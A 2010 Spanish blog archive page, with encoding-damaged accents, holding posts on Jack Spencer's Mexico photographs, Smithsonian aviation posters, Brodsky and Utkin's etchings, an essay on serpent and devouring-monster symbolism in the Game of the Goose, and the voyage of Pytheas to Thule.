7 octubre
2010
escrito por Flegetanis

A�

A�

A�

(El hombre estA? yendo. FotografA�a de Jack Spencer)A�

A�A�

A�Jack Spencer nos retrata de modo inigualable el misterio de MA�xico. En su pA?gina hay caminos que se abren hacia infinitas direcciones, personajes envueltos en lucesA�vaporosas y, sobre todo, esplA�ndidas fotografA�as.A�

A�A�

A�

El Mezquit, Guanajuato. FotografA�a de Jack SpencerA�

A�A�

A�

(Carretera a Livingston. FotografA�a de Jack Spencer)A�

A�A�

A�

Momia de Guanajuato. El inevitable memento mori, tambiA�n en las fotografA�as de Jack Spencer.A�

A�A�

A�A�

-MA?s –muchas mA?s- fotografA�as de Jack Spencer en su pA?gina personal.-A�






7 octubre
2010
escrito por Flegetanis

A�

(Rodney Smith, Chasing Airplane)

A�

Si son aficionados a los viajes en aviA?n y a los pA?sters vintage no deben perderse la fabulosa colecciA?n Fly NOW! que el Museo Smithsonian ha digitalizado para mostrar algo mA?s de los mil trescientos documentos, entre carteles y afiches, que componen sus excelentes fondos consagrados a la aeronA?utica, mediante los que se puede hacer un recorrido visual desde 1827 a nuestros dA�as; esto es, desde los comienzos de la aviaciA?n con Montgolfier hasta la carrera espacial.

A�

A�

A�

A�

A�

A�

A�

A�

A�(A�ste de arriba nos trae algunos gratos recuerdos)

A�

A�

(Los globos y dirigibles causan furor entre algunos miembros de nuestra bitA?cora)

A�

(A�ste darA�a juego comoA�cabecera paraA�nuestra blogA�Viajes con mi tA�a)

A�

(A nuestro SeA�or JesuCristo tambiA�n le divierte ver volar al hombre, afanado en sus vanos quehaceres, de un lado a otro del globo. El plano nos recuerda a una memorable secuencia del Ben Hur de William Wyler)

-La ESTUPENDA colecciA?n completa de posters comercialesA� de aviaciA?n del Smithsonian, aquA�.






6 octubre
2010
escrito por Flegetanis

A�

(Brodsky y Utkin: Agujero en una colina. Aguafuerte, 1990)

A�

Aunque Brodsky y Utkin han tomado parte en numerosas exposiciones sobre proyectos arquitectA?nicos, su obra entronca con la tradiciA?n de los arquitectos utA?picos, representados canA?nicamente por Pierre BoulA�e. Tras una estrecha y fructifera colaboraciA?n,A� ambos artistas declaran no sentirse especialmente cA?modos con la identificaciA?n conA�el tA?ndem y desde hace algunos aA�os andan metidos en proyectos individuales, instalaciones y exposiciones que buscan una mayor autonomA�a en la autorA�a de sus trabajos.A� Pero para muchos, lo mejor de su producciA?n son estos grabados abigarrados donde exploran todo un universo arquitectA?nico de fantasA�a, plenos de detalles tA�cnicos que cohabitan con otros elementos procedentes de la esfera de lo imaginario, desplegando un maravilloso mundo imposible tan prA?ximo a los delirios de los surrealistas como a la Ciudad Ideal de utA?picos, romA?nticos o A�renacentistas.

(Columbario habitable, aguafuerte, 1986)

A�

(Isla de Estabilidad, aguafuerte, 1989)

A�

(Domo, aguafuerte, 1990)

(Brodsky y Utkin, VillaA�A�Claustrofobia, aguafuerte, 1989)

(Torre de Cristal, aguafuerte, 1984)

A�

(Un aspecto del libro de Lois Nesbitt sobre los trabajos de Brodsky y Utkin –lo encontramos en la librerA�a del Centro de Arte Reina Sofia, en Madrid–)

A�

A�

(1) La arquitectura en papel de Brodsky y Utkin, en The Nonist.

(2) Los trabajos completos de Brodsky y Utkin en este set de FlickrA�(A?atenciA?n al filA?n!)

(3) MA?s grabados de Brodsky y Utkin, reproducidos conA�mejor calidad, en Kitsune noir






6 octubre
2010
escrito por Flegetanis

A�A�A�A�

A�A�A�A�A�A�A�A�

A�(El monstruo andrA?fago devorando a su vA�ctima, quizA? JonA?s, en estaA�estatuilla del Museo de Cleveland)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

En algA?n momento de nuestras caprichosas disertaciones sobre el simbolismo tradicional del Juego de la Oca hemos mencionado la asociaciA?n de la espiral del tablero de juego con el cuerpo de una serpiente enrollada sobre sA� misma, alrededor de un espacio central, denominado JardA�n de la Oca, el cual hemos visto que puede vincularse simbA?licamente con toda exactitud al ParaA�so; de semejantes analogA�as es posible inferir ciertas cuestiones de diversa importancia a cuya discusiA?n nos proponemos entregarnos en el presente artA�culo.A� A�A�A�A�A�A�A�A�A�

A�Se suele citar, con mayor o menor justificaciA?n histA?rica, al Mehen, el juego egipcio de la Serpiente, como uno de los supuestos antecedentes de nuestro Juego Noble y Restaurado de los Griegos. Sin embargo, y al margen de consideraciones mA?s o menos fantasiosas, hemos de reconocer que en todo esto hay un gran componente imaginativo o, si lo prefieren, intuitivo, y que no existen pruebas concluyentes que permitan establecer una relaciA?n efectiva, salvo en el plano simbA?lico, entre la serpiente y el tablero de juego. Tampoco conocemos ningA?n ejemplar del Juego de la Oca en el que ambos elementos a��itinerario espiral y serpientea��se identifiquen, lo cual justificarA�a de algA?n modo nuestra propuesta. A pesar de todo, la falta de evidencias documentales no nos impide en modo alguno sugerir que tal asociaciA?n pueda plantearse, especialmente porque abre numerosas posibilidades al anA?lisis de los elementos tradicionales contemplados en el diseA�o del juego yA�revelaA�A�algunos aspectos interesantesA�de suA� simbolismo.A� A�A�A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

(Tablero de Mehen, el juego egipcio de la serpiente)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

(AnalogA�as formales y simbA?licas entre la serpienteA� y el tablero espiral del Juego de la Oca)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

De este modo, si la meta del Juego de la Oca es el espacio central del tablero, alrededor del cual se despliega la serpiente cuyo cuerpo constituye el itinerario que han de seguir, con mayor o menor fortuna, los jugadores, es fA?cil inferir el significado de la carrera: recorrer el interior de la bestia equivale, segA?n la significaciA?n general del descensus ad inferos, vencer al monstruo y, por ende, a la muerte, evitando sus fauces, y conquistandoA� la liberaciA?n o la inmortalidad, simbolizados por el acceso del jugador al lugar central –fuera de la rueda del cambio o existencia temporala��,A� un verdadero ParaA�so recobrado o JardA�n de la Oca.A�A�A�A�A�A�A�A�A�A�

A�El asunto de la serpiente como custodio del ParaA�so, o del A?rbol de la Vida,A� participa de idA�ntica significaciA?n que el episodio particular del DragA?nA�como tradicional guardiA?n de tesoros, recintos o lugares sagrados o, A�directamente, manantialA� de inmortalidad. A menudo,A�son el propio cuerpo o sangre del dragA?n los que consituyen el alimento o licor que propician la invulnerabilidad. Al igual que el dragA?n, la serpiente, emparentada simbA?licamente con el mismo, –o de un modo mA?s amplio el monstruo– A�”es en muchas tradiciones responsable de custodiar este A?rbol de la Vida o inmortalidad, impidiendo al hombre aproximarse hasta A�l (a), o haciendo que se aleje despuA�s de haberle inducido a pecar. AsA� sucede en el contexto bA�blico, donde es la serpiente del GA�nesis la que se encuentra junto al A?rbol del paraA�so. (…) ella es la guardiana terrible del A?rbol sagrado; cierra al hombre tras la CaA�da (…) el camino de retorno al ParaA�so perdido”.A�A�A�(4)A�A�A�

A�A�A�

(En el cuadro de Paolo Ucello: San Jorge y el DragA?n. A menudo, el fruto de la inmortalidad o depA?sito sagrado custodiado por el monstruo es una representaciA?n del arquetipo del eterno femenino, como nuestra Dama del JardA�n de la Oca)A�A�A�

A�Las serpientes guardan todos los caminos de la inmortalidad, es decir,” todos los “centros”, todos los receptA?culos en que estA? concentrado lo sagrado, toda sustancia realA�” — segA?n M. ElA�ade– . En la mitologA�a griega, por ejemplo, “el vellocino de oro de CA?lquide estA? guardado tambiA�n por un dragA?n, al que JasA?n tiene que dar muerte para conseguirlo. A las serpientes se las representa siempre en torno a la crA?tera de Dionisos, vigilando en la lejana Escitia el oro de Apolo, guardando los tesoros escondidos en las profundiades de la tierra o los diamantes y las perlas del fondo del ocA�ano; en una palabra, custodiandoA�todo sA�mbolo que incorpore lo sagrado, que confiera poder, vida y omnisciencia“A�A�A�A�

En otras tradiciones, el depA?sito sagrado guardado celosamente por la serpiente o el monstruo devoradorA�reviste las formas de una diosa o doncella, arquetipo del eterno femenino, que el hA�roe o candidato han de rescatar de las fauces de la bestia; es tA�picoA�de las fA?rmulas de tono caballeresco o A�pico, en las que al simbolismo general se superponen losA�matices A�inconfundibles del amor cortA�s.A�A menudoA�ocurreA�en diferentes ritos de paso que “ se da acceso al poder de un hombre medianteA� la restituciA?n de lo femenino; para ello, el hombre debe hacer un trA?nsito de prueba a travA�s de unos elementos de carA?cter femenino.” (n)A�A� En nuestro juego noble, la dama del JardA�n de la Oca, arquetipo de lo femenino, aguarda pacientemente la llegada triunfante del hA�roe que transita con dificultad a travA�s del vientre serpentino de la espiral, superando una tras otra las pruebas a las que es sometido.A�A�A�

A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

A�(La serpiente enroscada en torno alA� A?rbol de la Vida)A�A�A�A�A�A�A�A�

A�De manera genA�rica,A�la vA�a de acceso al ParaA�so, Fuente de Juventa o A?rbol de la vida, estA? con frecuenciaA�bloqueada por un monstruo o por algA?n otro animal peligroso, como el leA?n. Este A?ltimo, junto a la serpiente, el hipogrifo o el dragA?n, es con frecuencia tambiA�n un monstruo custodio e A�ndice de lo sagrado. Por eso se le encuentra con frecuencia apostado a la entrada del templo, palacio, fuente, etc., es decir, a la entrada del temenos o recinto sagrado; a�?no para prohibir el acceso, sino para impedir al profano aventurarse inconscientemente a entrar y atraerse las iras divinas; entonces es, ante todo, signo, orientaciA?n, indicador de ruptura entre dos dominios heterogA�neos, lo profano y lo sagrado. La iconografA�a de las civilizaciones mA?s diversas representarA?, por ejemplo, en torno al A?rbol sagrado, tanto leones como genios, grifos, etc., igualmente aptos para desempeA�ar este papel de signos indicadoresa�?.A�A�A�A�(4)A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

A�(Los leones, tradicionalmente, se erigen como A�ndices y A�custodios del lugar sagrado. Foto: Baruk)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

Por este motivo, y por ser considerados un emblema de Cristo, los leones pueblan las portadas de las iglesias romA?nicas, sus ventanas o la entrada de sus presbiterios. En general, “el asunto del leA?nA�A�andrA?fago depende (…) del tema imaginario del engullidor, motivo que abarca los numerosos sA�mbolos de seres vivientes que comen y luego restituyen a su presa. El ejemplo mA?s cA�lebre es el de la plA?cida y complaciente ballena de JonA?s, cuya historia utilizA? magnA�ficamente Cristo para explicar el misterio de su muerte, al que seguirA�a la resurrecciA?n” .A�A�(4)A�A�A�

A�A�A�A�

A�A�A�A�A�A�A�

(El simbolismo del MakaraA� o monstruo marino estA? directamente relacionado con el pasaje bA�blico de JonA?s y la Ballena)A�A�A�A�A�

A�A�Esta otra vertiente singular del simbolismo del monstruo devorador es su ligazA?n con la idea de resurrecciA?n y vida eterna la encontramos en la A�presencia de leones tanto en las pilas bautismales como en las de agua benditaA� en el arte romA?nico. A�De igual modo, por ejemplo, a�?en el baptisterio de Parma hay dragones apostados junto al A?rbol de la regeneraciA?n.a�?A�A�A� Esta relaciA?n del monstruo andrA?fago con la renovaciA?n o resurrecciA?n iniciA?ticas queda confirmada a�?por el hecho de que, con frecuencia, vemos nacer a los dioses o a los hombres renovados en las fauces de uno de esos monstruos benA�ficos. El arte chino nos ha acostumbrado a esos pequeA�os personajes acurrucados en las fauces de monstruos terribles y mansos, como en el regazo de una madre.a�?A�A�A�En este mismo orden de cosas, a�?no hay por quA� asombrarse de ver las tumbas cristianas adornadas con leones. Por sA� solo, el leA?n es sA�mbolo de la resurrecciA?n. (…) Las tumbas romA?nicas de Husaby (Suecia) lucen con ostentaciA?n una mA?scara humana devorada por dos leones (…)A�”A�A�A�A�(4)A�A�A�

A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

A�A�A�A�A�A�

A�A�A�(Una imagen vale mA?s que mil palabras: El vientre del monstruo como laberinto en esta ilustraciA?n para JonA?s y la Ballena de The Stygian Port)A�A�A�A�A�A�

A�En el caso de la ballena, al simbolismo de las fauces desdentadas se une el del vientre del monstruo, comparable al de la caverna cA?smica, arquetipo de la matriz materna o ctA?nica, presente en numerosos mitos y formas iniciA?ticas de muchos pueblos: ” La idea de que el paso por el umbral mA?gico es un trA?nsito a una esfera de renacimiento queda simbolizada en la imagen mundial del vientre, el vientre de la ballenaa�? que en este caso es la cueva. (Campbell, 1997)”A�A�En ocasiones los intestinos del monstruo adquieren un trazado laberA�ntico, lo cual pone de relieve la relaciA?n a nivelA�simbA?lico del vientre del monstruo, la caverna y el laberinto como lugares de pasajeA�o itinerarios iniciA?ticos.A�A�A�

AsA� loA�contemplan Mircea ElA�adeA�o Sir JamesA�Frazer, quienes aseguran que en algunas formas iniciA?ticas estudiadas, los ritos comienzan por el paso del iniciando a travA�s de una especie de boca monstruosa, en algunos casos, y en otros accede directamenteA�al interior de una cueva, caverna o fosa como expresiA?n del regressus ad uterum. Si la estancia del individuo dentro del monstruo adquiere ademA?s la forma de un viaje a travA�s del intrincado y laberA�ntico interior del monstruo, entoncesA�el mitoA�puede adoptar la significaciA?n general delA�descensus ad inferos, el descenso a los infiernos: “La entrada en el A?tero de la gran madre (madre tierra, es homologable a la entrada en el cuerpo de un monstruo marino o de una ballena o de una bestia salvaje, en algunos estA? implicado un cierto elemento de peligro y en otras, el regreso implica riesgos de ser despedazado por las mandA�bulas del monstruo (…)”A�(n)A�A�A�A�A�A�

A�A�A�A�A�A�

A�A�A�A�A�

(JonA?s a punto de ser engullido por el monstruo. Foto Dick Osseman)A�A�A�A�A�

La variedad de criaturas que aparecen como custodios del lugar sagrado no cambia nada del valor simbA?lico fundamental del episodio: este lugar central se identifica con la a�?morada de inmortalidada�? o condiciA?n edA�nica, que debe ser nuevamente conquistada o restaurada: a�?el ser humano experimenta intuitivamente (…) que la invencible nostalgia que siente por una condiciA?n primordial, libre del mal, del pecado y de la muerte, no se puede separar de una reconquista difA�cil, de una lucha en la que deberA? enfrentarse con las fuerzas del mal (…) objetivadas en la imagen del DragA?n apostado junto al camino del Arbol del ParaA�soa�?A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�A�

(MA?scara de leA?n devorador, con su vA�ctima entre las fauces, A�en un capitel de San Juan de MontaA�ana.A�Imagen delA�Foro Club del RomA?nico)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

En la tradiciA?n hindA?, este monstruo guardiA?n de lo sagrado reviste los rasgos de una entidad denominada Kala-Mukha, y A�en extremo oriente se denominaA�Tao-TiA�, sA�mbolo cuyo significado, segA?n RenA� A�GuA�non,A� estA? en relaciA?n con la Ianua Caeli (Puerta del Cielo, segA?n el simbolismo mA?s amplio de las Puertas Solsticiales): el Kala-mukha suele adoptar la forma de una mA?scara o cabeza de monstruoA� que a�?de aspectos variados y a menudo mA?s o menos estilizados, se encuentra en las A?reas mA?s diversas (Kala Mukha o Kirti a��mukha en la India, TA?o tA�e en China, Camboya o Javaa�?. Aparecen tambiA�n estas mA?scaras en AmA�rica Central, y su presencia es recurrente en la imaginerA�a del arte medieval, especialmente en RomA?nico europeo, en la figura del glotA?n de los templos, o el leA?n devorador, apostado comA?nmente junto a las puertas del templo, y participando del simbolismo general de las mismas, como indica GuA�non a propA?sito de la Ianua Caeli.A�A�A�A�A�A�A�A�

A�Sigue diciendo GuA�nonA�sobre esta mA?scara o efigie del monstruo andrA?fago, que usualmente se vincula con la idea de puerta, apareciendo a�?en el dintel de una puerta, o en la clave de la bA?veda de un arco, en la sumidad de un nicho, lo que determina su valor simbA?lico. (a�� ) En su origen debiA? tratarse a��por ciertos rasgos, como la mandA�bula inferior a menudo inexistente, ojos redondos, etc.a�� de la imagen estilizada de un crA?neo humano (b).A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

(MA?scara de Tao Tie, la versiA?n extremo-oriental del monstruo andrA?fago. Shaanxi Provincial Museum, XiA?an. Foto de Gary Todd)A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�A�A�A�A�A�A�

(Figurilla de un Tao Tie devorando aA� su vA�ctima)A�A�A�A�A�A�A�A�

Por otra parte, el Tao tA?ie,versiA?n china del monstruo andrA?fago, no es ningA?n animal concreto, sino un glotA?n, devorador u ogro a��emparentado ligeramente o el LeviatA?n o Boca del Infierno de las representaciones medievales– ; su significaciA?n, sin embargo, permanece idA�ntica,A� a�?al margen de las formas que pueda adoptar, como la del leA?n, en la India a��KA?laa��un MA?kara, sA�mbolo del dios Varuna, un oso o un tigre (a��)a�?A�A� (3)A�A�A�A�

Un atento anA?lisis etimolA?gico del tA�rmino makara — nombre dado al DragA?n o monstruo marino en diversas culturas–A�y sus diferentes acepciones arroja sorprendentes resultados que subrayan notablemente el simbolismo del que tratamos. AsA�, A�en sA?nscrito, Makara, es nombre de un demonio del inframundo, donde encontramos un ecoA�la conexiA?n del monstruo con la idea del infierno, la ultratumba o mA?s allA?. Por otro lado, la etimologA�a permite una vinculaciA?n con el concepto de centro sagrado o paraiso: efectivamente, el tA�rmino makara se vincula “conA� el centro del mundo, el monte Meru, lugar donde la tradiciA?n hindA? coloca el paraA�so. En sA?nscrito aparecen dos posibles etimologA�as: 1ra. de Makar, grande y Ari, filo, colmillo, espada; 2da. de Ma, del agua, y Kara, agresivo, guerrero ” .A�AdemA?s, en griego existe el vocablo Makare, que puede traducirse porA�A�feliz, bienaventurado, pero tambiA�n denota las almas de los que van a cielo, nombre del paraA�so griego, asA� como el rumbo occidental (hacia occidente, tradicionalmente ultratumba, donde se pone el sol).A�AsA�mismo, tenemos A�en Hindi: Ghar, Ghara, Khar, que significaA�A�cueva oA�inframundo, donde encontramos una vez mA?s la relaciA?n del vientre del monstruo con la caverna o antro iniciA?tico. La misma connotaciA?nA�puede ser observadaA�en Turco y A?rabe: Maghara, que equivale a cueva, inframundo.A� (6)A�A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�(La Boca del Infierno o LeviatA?n de las miniaturas medievales, emparentado lejanamente con el monstruo andrA?fago y su simbolismo)A�A�A�A�A�A�A�A�

A�Coomaraswamy, seguidor y colaborador habitual de GuA�non, especialista en el Vedanta y experto orientalista, afirma que este rostro del monstruo andrA?fago a�?cualesquiera que sean sus apariencias diversas, representa verdaderamente la Faz de Dios, que a la vez mata y vivifica: no es exactamente una a�?calaveraa�?, es decir, la a�?cabeza de un muertoa�?, sino que es la a�?Cabeza de la Muertea�?, o sea Mrtyu, otro de cuyos nombres es KA?laa�? (a��) Recordemos que KA?la es tambiA�n el a�?Tiempo devoradora�?, –en una dimensiA?n similar a la del Saturno o el Aion Mitraico en los antiguos misterios en Occidente– A�pero a�?designa tambiA�n el Principio mismo en cuanto a�?destructora�? o a�?transformadora�? con respecto a la manifestaciA?n, lo creado, a la cual reduce al estado no-manifestado reabsorbiA�ndola en sA� misma (devorA?ndola),lo cual constituye el sentido mA?s elevado en que puede entenderse la Muerte.a�?A�A�A�A�A�A�(2)A�A�A�

A�A�A�A�

A�A�A�

A�A�A�A�A�A�A�A�A�A�

A�(Makara o fauces del monstruo andrA?fago. Escultura del Museo Nacional de Vietnam)A�A�A�A�A�A�A�A�

Las fauces del monstruo andrA?fago a��en palabras de GuA�non– a�?representan la vA�a A?nica por la que forzosamente todo ser ha de pasar necesariamente, presentA?ndose asA� como el a�?guardiA?n de la Puertaa�? que debe franquear para liberarse de las condiciones limitativas de la existencia contingente y manifestada (a��) Este simbolismo presenta sin embargo A�a�?dos aspectos aparentemente opuestos: a�?benA�fico y malA�fico si se quiere a��lo que equivale a decir que, segA?n el estado al cual ha llegado el ser que se presenta ante A�l, su boca es para A�ste a�?Puerta de la LiberaciA?na�? o a�?Fauces de la Muertea�? (c), como la bocaA� desdentada de la ballena de JonA?s, que engulle y luego devuelve a�?resucitadoa�? al iniciando).A�A�A�A�A�A�A�A�

En nuestro tradicional Juego de la Oca, la faz o mA?scara saturnina de la muerte aparece en la casilla 58 del tablero (5+8 = 13, el arcano sin nombre del tarot)rematando la espiral serpentina que constituye el itinerario del juego: desde un punto de vista iniciA?tico, Saturno es el primero –o el A?ltimo, segA?nA�la perspectiva adoptada– de los peldaA�os de la escalera metA?lica o planetaria que conduce al iniciado en los misterios mitraicos. El Cronos LeontocA�falo, emparentado con Kala en su dimensiA?n de Tiempo destructor o devorador, faz verdadera de la Muerte y la extinciA?n, presenta una estructura similar, donde el cuerpo del dios, coronado por una mA?scara leonina, es rodeado por las espiras de la serpiente. En otroA�orden de cosas, resulta sugerente establecer la conexiA?n entre la representaciA?n tibetana de la muerte, Yama, que se muestra delante de la “Rueda de la Existencia” amenazando con devorar todos los seres figurados en ella, y el sA�mbolo de la Muerte en el Juego de la Oca, figurada en el segmento final de la espiral seriada, que tendrA�a aquA� idA�ntica significaciA?nA�a la de esta “rueda” de la existencia o de la manifestaciA?n.A�A�A�

A�A�A�A�

A�A�A�

(Aion o Cronos leontocA�falo mitraico: el Tiempo devorador, equivalente al Kala hindA?. La espiral serpentina es coronada por una monstruosa cabeza leonina)A�A�A�

A�A�A�

A�A�A�A�A�A�(El juego de la oca: una espiral numeradaA�,laA�A�manifestaciA?n y el tiempo)–el cuerpo de la serpiente–A�coronado por la Faz saturnina de la Muerte (casilla 58))A�A�A�

Este dualismo tambiA�n estA? presente en el simbolismo del leA?n, especialmente en la imaginerA�a romA?nica, cuyos matices de significaciA?n pueden ser casi infinitos a�?sobre todo en lo que concierne al carA?cter benA�fico o malA�fico del leA?n. La muerte que da siempre es un mal en sA�, incluso para los buenos; por otra parte, el leA?n andrA?fago, que permite el acceso de los elegidos al mA?s allA?, es tambiA�n el que envA�a a los malosA� a los tormentos del infierno(a��)a�?A�A�A�A�A�A�A�A�

A�La doble vA�a que se abre tras las fauces del monstruo devorador lo ponen en relaciA?n inmediatamente con la nociA?n del Juicio de los Muertos.A�TambiA�nA�en el JuegoA� de la Oca el encuentro con la Muerte produce el mismo efecto separador, entre condenados y bienaventurados, segA?n el signo que la fortuna decida en dicho pasaje. La mA?scara de la muerte equivale aquA� a la del cocodrilo Ammit,A� la versiA?n egipcia del monstruo devorador, presente en la escena del Juicio del difunto, que aguarda el resultado de la a�?pesada de almasa�? para devorar a quienes no hayan pasado satisfactoriamente la prueba.A�A�A�A�

A�A�A�

A�A�A�A�A�A�(La versiA?n egipcia del monstruo devorador: Ammit en la escena de la pesada de almas o Juicio de los muertos)A�A�A�

A�A�A�A�A�A�A�A�A�

A modo de conclusiA?n, podrA�amos afirmar que la presencia del monstruo devorador en las puertas del recinto sagrado sumariza el hecho de que “el mA?s inaccesible de todos los lugares sagrados es, evidentemente, el Cielo, cuyas formas simbA?licas son mA?ltiples y variables, y van desde la tierra prometida al ParaA�so Original, pasando por el A?rbol de la vida. (…)A�A�Y que “esta escalada al cielo no se puede realizar sin transiciA?n… El hombre no encuentra de nuevo el camino del A?rbol de la Vida sino pasando por la muerte. Es la segunda lA�nea del simbolismo del monstruo de la entrada; el monstruo andrA?fago. En este caso (…) concebido como sA�mbolo del animal que devora, que hace desaparecer, y, al mismo tiempo, como sA�mbolo del animal que confiere a su vA�ctima devorada algo de su propio poder vital, realizando en ella una verdadera metamorfosis por el paso a travA�s de la muerte”. (4)A�A�A�A�A�`A�A�A�

DespuA�s de un largo viaje, lleno de penalidades y dificultades, a punto de entrar en la tierra de promisiA?n, aA?n resta al hA�roe el combate con el monstruo:A�A�Porque “el reino de los cielos sufre violencia, y sA?lo los que se la hacen lo consiguen” (Evangelio de San Mateo, XI, 12)A�A�A�A�(4)A�A�A�

A�A�A�A�A�A�A�A�A�

A�A�A�A�

A�A�A�A�A�A�A�A�

A�A�A�A�A�A�

A�A�-Notas y aclaraciones-A�A�A�A�A�A�A�

(a)A�A�A�A� En la versiA?n bA�blica, realmente es un A?ngel y no una serpiente quien detenta este papel de custodio del acceso al A?rbol de la Vida; este curioso paralelismo entre el querube y la serpiente, presente en otros episodios bA�blicos y tradicionales (los inquietantes parecidos entre San Miguel y su adversario el DragA?n; Lucifer, un A?ngel que tambiA�n es llamado a�?la Serpiente antiguaa�?) plantea profundas cuestiones de difA�cil interpretaciA?n simbA?lica pero que bien merecen una atenta lectura.A�A�A�A�A�A�A�A�

(b)A�A�A�A� Lo que nos lleva a plantearnos la posibilidad de identificaciA?n de este monstruo andrA?fago con la figura de la calavera de la casilla 58 en el tablero del Juego de la Oca, que presenta por un lado el simbolismo de las a�?fauces de la muertea�? en tanto puerta o umbral de acceso al ParaA�so (el espacio central del tablero, no numerado) asA� como la dimensiA?n saturnal del tiempo como a�?monstruo devoradora�?. AsA�, su posiciA?n en el final del itinerario numerado, que representarA�a el mundo sensible o temporal, marca elA� limes o frontera con el mundo no manifestado, fuera de la esfera del tiempo, el reino de Saturno o, en cierto sentido, de la Muerte.A�A�A�A�A�A�A�A�

A�(c) Curiosa y significativamente, en el tablero del Juego de la Oca la figura de la muerte tiene idA�ntico doble significado, pues para algunos jugadores representa la lA�nea que determina su liberaciA?n y su vA�a de acceso al ParaA�so o JardA�n Central, meta del juego, mientras queA� para otros, menos afortunados, se presenta como fauces de la muerte, que suponen el final de la carrera del jugador y el final de su vida efectiva, obligA?ndole a retomar una nueva existencia en el mundo manifestado (una nueva partida desde el la casilla inicial).A�A�A�A�A�A�A�A�

A�A�A�A�A�

A�A�-Fuentes y vA�nculos-A�A�A�A�A�A�A�

A�(1) Soberbio artA�culo sobre el monstruo andrA?fago y su simbolismo en la imaginerA�a del romA?nico.A�A�A�A�A�A�A�A�

(2) GuA�non, RenA�A�: Kala Mukha, en SA�mbolos Fundamentales de la Ciencia Sagrada. PaidA?s Orientalia, VVEEA�A�A�A�A�A�A�

(3)A�non, RenA�A�: Kala y Tiempo Devorador en SA�mbolos Fundamentales de la Ciencia Sagrada. A�A�A�A�A�A�A�

(4 Varios autores: A�IntroducciA?n a los sA�mbolos. Europa RomA?nica. El Monstruo AndrA?fago A�y El GuardiA?n del lugar sagrado.A�pp.A�A�339 y ss.A�A�A�A�A�A�A�A�

(5)Diferentes acepciones, bien reveladoras, del tA�rmino Makara, en Estante do templarioA�A�A�A�A�A�A�

(6 El episodio de JonA?s y la Ballena como monstruo andrA?fago, enA�unos hermosos capiteles y relieves, en el Foro del Club del RomA?nico.A�A�A�A�

(7)Les Rites de passage: Etude systA�matique des rites (Paris, 1909; repr. New York et al., 1969..A�A�A�A�

(8)A�M. ElA�ade. Iniciaciones mA�sticas. Taurus, Madrid, VVEE. Mitos, sueA�os y misterios, sobre la caverna iniciA?tica y el vientre del monstruo engullidor.A�A�A�

(9)VA?zquezA�Hoys, Ana MA?!A�RepresentaciA?n de la serpiente en la iconografA�a mitraica






5 octubre
2010
escrito por Flegetanis

A�

(Las increA�blesA�A�luces del Norte, que cada aA�o atraen a cientos de afortunados viajeros: Como casi todo en estasA�A�tierras e islas del Norte, la esperanza y expectaciA?n de lo maravilloso ha inflamado la imaginaciA?n de muchos. En los confines de este lejano y misterioso marco geogrA?fico se alzaA� una tierra de leyenda llamada Thule.A�A�Foto: A Path to spirit)

A�

A�staA� es, a grandes rasgos, la historia de un navegante y su bA?squeda del Gran Norte:A�la historia de unA�geA?grafo griego del siglo IV antes de Cristo, llamado PA�teas,A�que segA?n se cuenta llegarA�a en alguno de sus numerosos viajes hasta las costas de Gran BretaA�a, buscando esa tierra legendaria mA?s allA? del viento del norte, llamadaA�Ultima Thule, en las fronteras delA� mundo conocido.A�En su viaje mA?s cA�lebre, PA�teas visitA? Galia (Francia) el Mont Saint Michel,A�Cornualles (la isla donde comerciaban con estaA�o) Gran BretaA�a,A� las islas A�rcadas, las Shetland, y descubriA? una lejana tierra que identificarA�a con la mA�ticaA� Thule.

A�

(Mapa antiguo –rodeado de monstruos y criaturas extraordinarias– A�de Islandia, identificada durante mucho tiempo con la mA�tica Thule)

PiteasA�refiere que “visitA? una isla llamada Thule, la que considera la mA?s septentrional del archipiA�lago britA?nico, y a la que llegA? tras seis dA�as de navegaciA?n desde el norte de Escocia o las islas Orcadas. SegA?n distintos cA?lculos, esta isla se situarA�a a unos 64 A? 65A?N. Cuenta Piteas que los habitantes de Thule vivA�an de la ganaderA�a, apicultura y agricultura y allA� la noche sA?lo duraba 2 A? 3 horas en verano. Y nos cuenta tambiA�n que, a un dA�a de navegaciA?n hacia el norte, comenzaba el lugar donde a�?la tierra propiamente dicha no existe, ni el mar ni el aire, sino una mezcla de estos elementosa��a�? (1)

(La supuesta ubicaciA?n de la mA�tica Thule en un mapa antiguo. Imagen Geographos. com)

Sin embargo, nadie creyA? las afirmaciones de este avezado explorador de la antigA?edad, nacido en la colonia griega de Marsella, hacia el aA�o 310 antes de Cristo. Los historiadores que le sucedieron o tildarA�an de charlatA?n y fabulador, aunque numerosas generaciones disfrutaron con los relatos de sus viajes, considerados cuentos procedentes de la fA�rtil imaginaciA?n del navegante. A pesar de todo, PA�teas fue el primer griego que desembarcA? en Gran BretaA�a y realizA? una descripciA?n detallada de la isla y sus pobladores, y quizA? tambiA�n fue el primero en aproximarse a las costas de Noruega, territorios entonces mA?s allA? del mundo cartografiado.

A�Aunque PA�teas era frecuentemente citado por historiadores griegos, cayA? en el descrA�dito; la situaciA?n la resumen estas afirmaciones de EstrabA?n (63 a.C.) que refiere sobre el asunto: a�?PA�teas nos dice que Thule a��que en aquella A�poca se consideraba la regiA?n mA?s al norte del mundo y aA?n no descubiertaa��se halla a un dA�a de navegaciA?n del mar helado a��presumiblemente, el AtlA?ntico Norte–a�� y esto lo ha visto PA�teas con sus propios ojos o, por lo menos, asA� nos lo quiere hacer creer (a��)a�?

(Un retrato del eminente geA?grafo EstrabA?n,A�quien desconfiaba deA�los relatos de PA�teas y sus pretendidos descubrimientos)

A�

A�(El supuesto periplo de PA�teas, segA?nA� F.Nansen in “In Northern Mists”. Fuente: Northern Lights Route)

